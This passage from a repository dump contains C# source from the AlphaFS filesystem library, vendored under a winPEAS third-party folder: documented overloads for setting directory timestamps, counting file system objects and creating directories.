time.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      [SecurityCritical]\n      public static void SetTimestampsTransacted(KernelTransaction transaction, string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime)\n      {\n         File.SetFsoDateTimeCore(transaction, true, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps for the specified directory, at once.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the dates and times information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetTimestampsTransacted(KernelTransaction transaction, string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(transaction, true, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps for the specified directory, at once.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the dates and times information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetTimestampsTransacted(KernelTransaction transaction, string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, bool modifyReparsePoint)\n      {\n         File.SetFsoDateTimeCore(transaction, true, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps for the specified directory, at once.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the dates and times information.</param>\n      /// <param name=\"creationTime\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastAccessTime\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"lastWriteTime\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in local time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetTimestampsTransacted(KernelTransaction transaction, string path, DateTime creationTime, DateTime lastAccessTime, DateTime lastWriteTime, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(transaction, true, path, creationTime.ToUniversalTime(), lastAccessTime.ToUniversalTime(), lastWriteTime.ToUniversalTime(), modifyReparsePoint, pathFormat);\n      }\n\n\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified directory, at once.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the dates and times information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      [SecurityCritical]\n      public static void SetTimestampsUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc)\n      {\n         File.SetFsoDateTimeCore(transaction, true, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified directory, at once.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the dates and times information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetTimestampsUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(transaction, true, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified directory, at once.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the dates and times information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      [SecurityCritical]\n      public static void SetTimestampsUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, bool modifyReparsePoint)\n      {\n         File.SetFsoDateTimeCore(transaction, true, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, modifyReparsePoint, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Sets all the date and time stamps, in coordinated universal time (UTC), for the specified directory, at once.</summary>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory for which to set the dates and times information.</param>\n      /// <param name=\"creationTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the creation date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastAccessTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last access date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"lastWriteTimeUtc\">A <see cref=\"DateTime\"/> containing the value to set for the last write date and time of <paramref name=\"path\"/>. This value is expressed in UTC time.</param>\n      /// <param name=\"modifyReparsePoint\">If <c>true</c>, the date and time information will apply to the reparse point (symlink or junction) and not the file or directory linked to. No effect if <paramref name=\"path\"/> does not refer to a reparse point.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static void SetTimestampsUtcTransacted(KernelTransaction transaction, string path, DateTime creationTimeUtc, DateTime lastAccessTimeUtc, DateTime lastWriteTimeUtc, bool modifyReparsePoint, PathFormat pathFormat)\n      {\n         File.SetFsoDateTimeCore(transaction, true, path, creationTimeUtc, lastAccessTimeUtc, lastWriteTimeUtc, modifyReparsePoint, pathFormat);\n      }\n\n      #endregion // Transactional\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.CountFileSystemObjects.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Linq;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Counts file system objects: files, folders or both) in a given directory.</summary>\n      /// <returns>The counted number of file system objects.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory path.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public static long CountFileSystemObjects(string path, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, Path.WildcardStarMatchAll, null, options, null, PathFormat.RelativePath).Count();\n      }\n\n\n      /// <summary>[AlphaFS] Counts file system objects: files, folders or both) in a given directory.</summary>\n      /// <returns>The counted number of file system objects.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory path.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static long CountFileSystemObjects(string path, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, Path.WildcardStarMatchAll, null, options, null, pathFormat).Count();\n      }\n      \n\n      /// <summary>[AlphaFS] Counts file system objects: files, folders or both) in a given directory.</summary>\n      /// <returns>The counted number of file system objects.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory path.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public static long CountFileSystemObjects(string path, string searchPattern, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, searchPattern, null, options, null, PathFormat.RelativePath).Count();\n      }\n\n\n      /// <summary>[AlphaFS] Counts file system objects: files, folders or both) in a given directory.</summary>\n      /// <returns>The counted number of file system objects.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory path.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static long CountFileSystemObjects(string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, null, path, searchPattern, null, options, null, pathFormat).Count();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.CountFileSystemObjectsTransacted.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Linq;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      /// <summary>[AlphaFS] Counts file system objects: files, folders or both) in a given directory.</summary>\n      /// <returns>The counted number of file system objects.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory path.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public static long CountFileSystemObjectsTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, Path.WildcardStarMatchAll, null, options, null, PathFormat.RelativePath).Count();\n      }\n\n\n      /// <summary>[AlphaFS] Counts file system objects: files, folders or both) in a given directory.</summary>\n      /// <returns>The counted number of file system objects.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory path.</param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static long CountFileSystemObjectsTransacted(KernelTransaction transaction, string path, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, Path.WildcardStarMatchAll, null, options, null, pathFormat).Count();\n      }\n      \n\n      /// <summary>[AlphaFS] Counts file system objects: files, folders or both) in a given directory.</summary>\n      /// <returns>The counted number of file system objects.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory path.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      [SecurityCritical]\n      public static long CountFileSystemObjectsTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, searchPattern, null, options, null, PathFormat.RelativePath).Count();\n      }\n\n\n      /// <summary>[AlphaFS] Counts file system objects: files, folders or both) in a given directory.</summary>\n      /// <returns>The counted number of file system objects.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"transaction\">The transaction.</param>\n      /// <param name=\"path\">The directory path.</param>\n      /// <param name=\"searchPattern\">\n      ///   The search string to match against the names of directories in <paramref name=\"path\"/>.\n      ///   This parameter can contain a combination of valid literal path and wildcard\n      ///   (<see cref=\"Path.WildcardStarMatchAll\"/> and <see cref=\"Path.WildcardQuestion\"/>) characters, but does not support regular expressions.\n      /// </param>\n      /// <param name=\"options\"><see cref=\"DirectoryEnumerationOptions\"/> flags that specify how the directory is to be enumerated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public static long CountFileSystemObjectsTransacted(KernelTransaction transaction, string path, string searchPattern, DirectoryEnumerationOptions options, PathFormat pathFormat)\n      {\n         return EnumerateFileSystemEntryInfosCore<string>(null, transaction, path, searchPattern, null, options, null, pathFormat).Count();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory.CreateDirectory.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\nusing System.Security.AccessControl;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Directory\n   {\n      #region .NET\n\n      /// <summary>Creates all directories and subdirectories in the specified path unless they already exist.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to create.</param>\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectory(string path)\n      {\n         return CreateDirectoryCore(false, null, path, null, null, false, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>Creates all the directories in the specified path, unless the already exist, applying the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectory(string path, DirectorySecurity directorySecurity)\n      {\n         return CreateDirectoryCore(false, null, path, null, directorySecurity, false, PathFormat.RelativePath);\n      }\n\n      #endregion // .NET\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path, applying the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectory(string path, PathFormat pathFormat)\n      {\n         return CreateDirectoryCore(false, null, path, null, null, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path, applying the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectory(string path, bool compress)\n      {\n         return CreateDirectoryCore(false, null, path, null, null, compress, PathFormat.RelativePath);\n      }\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path, applying the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectory(string path, bool compress, PathFormat pathFormat)\n      {\n         return CreateDirectoryCore(false, null, path, null, null, compress, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path, applying the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectory(string path, DirectorySecurity directorySecurity, PathFormat pathFormat)\n      {\n         return CreateDirectoryCore(false, null, path, null, directorySecurity, false, pathFormat);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path, applying the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectory(string path, DirectorySecurity directorySecurity, bool compress)\n      {\n         return CreateDirectoryCore(false, null, path, null, directorySecurity, compress, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Creates all the directories in the specified path, applying the specified Windows security.</summary>\n      /// <returns>An object that represents the directory at the specified path. This object is returned regardless of whether a directory at the specified path already exists.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"path\">The directory to create.</param>\n      /// <param name=\"directorySecurity\">The access control to apply to the directory.</param>\n      /// <param name=\"compress\">When <c>true</c> compresses the directory using NTFS compression.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1011:ConsiderPassingBaseTypesAsParameters\")]\n      [SecurityCritical]\n      public static DirectoryInfo CreateDirectory(string path, DirectorySecurity directorySecurity, bool compress, PathFormat pathFormat)\n      {\n         return CreateDirectoryCore(false, null, path, null, directorySecurity, compress, pathFormat);\n      